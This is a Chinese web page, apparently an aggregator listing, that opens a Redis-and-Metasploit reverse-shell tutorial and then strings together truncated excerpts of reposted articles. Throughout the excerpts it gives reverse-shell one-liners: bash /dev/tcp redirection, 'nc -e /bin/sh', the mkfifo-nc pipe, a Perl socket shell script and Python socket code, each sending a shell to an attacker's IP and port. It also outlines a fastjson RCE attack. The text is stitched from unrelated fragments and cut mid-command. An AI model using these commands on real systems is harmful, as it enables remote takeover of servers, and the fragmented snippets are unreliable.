# 如何实现 Redis 用 Metasploit Framework(MSF)反弹 Shell
在这篇文章中,我们将介绍如何利用 Redis 服务与 Metasploit Framework 结合实现反弹 Shell。对于刚入行的小白来说,这个过程可能会显得复杂,但只要按照步骤进行,就会变得简单明了。以下是整个流程的概览。
## 整体流程
| 步骤 | 描述 |
| --- | --- |            
                
         
            
            
            
            # 利用netcat反弹shellNetcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或工具。 使用它你可以轻易的建立任何连接。目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-12-28 14:14:49
                            
                                402阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            简介:shell类似于DOS下的COMMAND.COM和后来的cmd.exe,它接收用户命令,然后调用相应的应用程序,也可以通俗的说是命令执行环境。分为交互式shell,与非交互式shell。交互shell就是shell等待你的输入,并且立即执行你提交的命令,这种模式被称作交互式是因为shell与用户进行交互。非交互shell不会与用户进行交互,而是用户读取存放在文件中的命令或者输入的命令,并且执            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-04-01 00:57:24
                            
                                80阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            bash:bash-i>&/dev/tcp/10.0.0.1/80800>&1~~perl:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2018-06-02 17:47:52
                            
                                614阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            netcat 一句话反弹 获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh或-e /bin/bash) 正向shell: 客户端主动连接服务器并获取服务器shell 客户端主动连接并得到反弹shell nc 服务端ip 8888 服务端监听连接 nc -lvp 8888 -e  ...            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2021-10-14 19:23:00
                            
                                803阅读
                            
                                                                                    
                                2评论
                            
                                                 
                 
                
                             
         
            
            
            
            # 使用 Python 实现反弹 Shell
反弹 Shell 是一个在网络安全领域常用的术语,通常在渗透测试和攻击情景中涉及。它意味着攻击者能够在目标机器上获取一个命令行界面,使其可以远程执行命令。在本文中,我们将讨论如何使用 Python 实现一个简单的反弹 Shell,并提供代码示例。我们还会通过实例解决一个实际问题,并用序列图和旅行图来表示我们的过程。
## 什么是反弹 Shell?            
                
         
            
            
            
            0x00 反弹shell概述反弹shell:即reverse shell,在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,通过反弹的shell去远程控制服务器。0x01 反弹shell原因通常由于防火墙、权限不足、端口占用等情况下,无法直接连接目标主机,此时就需要通过反弹shell,让目标主机主动来连接我们再公网的vps。0x02 Linux下反弹shell实验            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-05-13 13:38:47
                            
                                244阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            前言  Linux下,一条bash命令就可以反弹出shell。之前不求甚解的复现,突然有了一个疑问,为什么这样就能实现shell反弹?又重新学习了一下bash,这是一篇关于bash反弹原理的介绍。  反弹shell命令如下  受害者:bash -i >& /dev/tcp/ip/port 0>&1  攻击者nc -lvp port反弹 shell 的本质  接下来依次解            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-01-21 05:16:12
                            
                                48阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            shell的概念简单来说,Shell 就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-08-21 19:43:02
                            
                                84阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            #clientnc -vlp <port>#server#ncnc -e /bin/sh <target IP> <port>nc.exe -e C:\WINDOWS\system32\cmd.exe <target IP> <port>mkfifo bd;cat bd | /bin/sh -i 2>&1 | nc <            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2022-02-20 17:15:02
                            
                                280阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            正向shell靶机nc -lvp 7777 -e /bin/bash攻击机nc ip 7777反向shell1. 操作步骤环境攻击端:192.168.31.199靶机:192.168.31.91ubuntu或者CentOS上面输入nc -lvp 7777 -e /bin/bashkali上输入nc ip 7777攻击端监听端口nc -lvp 7777靶机生成一个反弹shellbash -i >            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2021-04-28 13:01:17
                            
                                704阅读
                            
                                                                                    
                                2评论
                            
                                                 
                 
                
                             
         
            
            
            
            #!/usr/bin/perl -w   
#   
  
use strict;   
use Socket;   
use I:Handle;   
  
if($#ARGV+1 != 2){            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2013-01-05 16:21:48
                            
                                526阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            #!/usr/bin/perl -w   
#   
 
use strict;   
use Socket;   
use I:Handle;   
 
if($#ARGV+1 != 2){   
       print “$#ARGV $0 Remote_IP Remote_Port \n”;   
        exit 1;   
}   
 
my $remote_ip = $ARGV[0];   
my $remote_port = $ARGV[1];   
 
my $proto = getprotobyname(“tcp”);   
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));   
 
my $shell = ‘/bin/bash -i’;   
 
socket(SOCK, AF_INET, SOCK            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2013-01-07 17:06:53
                            
                                578阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            A:nc -l 8081B:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.7.1.28  8081  >/tmp/fA:nc -l 8081B:bash -i >& /dev/tcp/10.7.1.28/8081 0>&1python版:A:nc -l 8081B            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2017-05-10 14:04:56
                            
                                635阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            /dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2022-11-06 16:20:50
                            
                                93阅读
                            
                                                                             
                 
                
                             
         
            
            
            
             文章目录漏洞名称:fastjson 反序列化导致任意命令执行漏洞Fastjson RCE关键函数影响范围漏洞原理漏洞复现环境准备漏洞利用编译 TouchFile.class 文件下载配置 maven使用 python 模拟开启本地服务器使用 marshalsec 搭建一个RMI服务器,进行远程加载payload验证漏洞利用是否成功修复建议参考资料 坑点:RMIRefServer和http服务都有            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-08-22 12:09:05
                            
                                173阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            Linux 反弹shell(二)反弹shell的本质
 0X00 前言在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell的理解吧。0X01 什么是反弹shellreverse shell,就是控制端监听在            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-08-03 20:45:04
                            
                                0阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端,被攻击端是服务端反弹shell,先启用服务端,再启用客户端反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)shell:客户端:import socket
s=socket.socket()
s.connect(            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-10-19 12:59:03
                            
                                36阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            0x00-容器内反弹shell失败查看/bin/sh指向ls -al /bin/sh可以看到/bin/sh指向dash,而我们使用的shell环境为bash修改指向ln -s -f bash /bin/sh此时反弹shell就可以成功0x01-另一种方法,不用修改直接运行即可bash -c "bash -i  >&/dev/tcp/192.168.234.135/1234 0>            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-06-05 11:08:18
                            
                                785阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            反弹shell作为常见的攻击手段,攻击者可以利用应用程序漏洞,建立反向shell连接,从而获取对系统的交互式访问权限。一旦获得了对系统的访问权限,攻击者可以进行侦听,横向移动及尝试提升特权,达到窃取系统或数据库中敏感数据的目的。反弹shell作为外网渗透的最后一步、内网渗透的第一步,其对服务器安全乃至内网安全的危害不言而喻。「认识反弹shell」众所周知,正常的攻击方式是攻击者攻击一台目标机器,会            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-12-04 05:22:39
                            
                                98阅读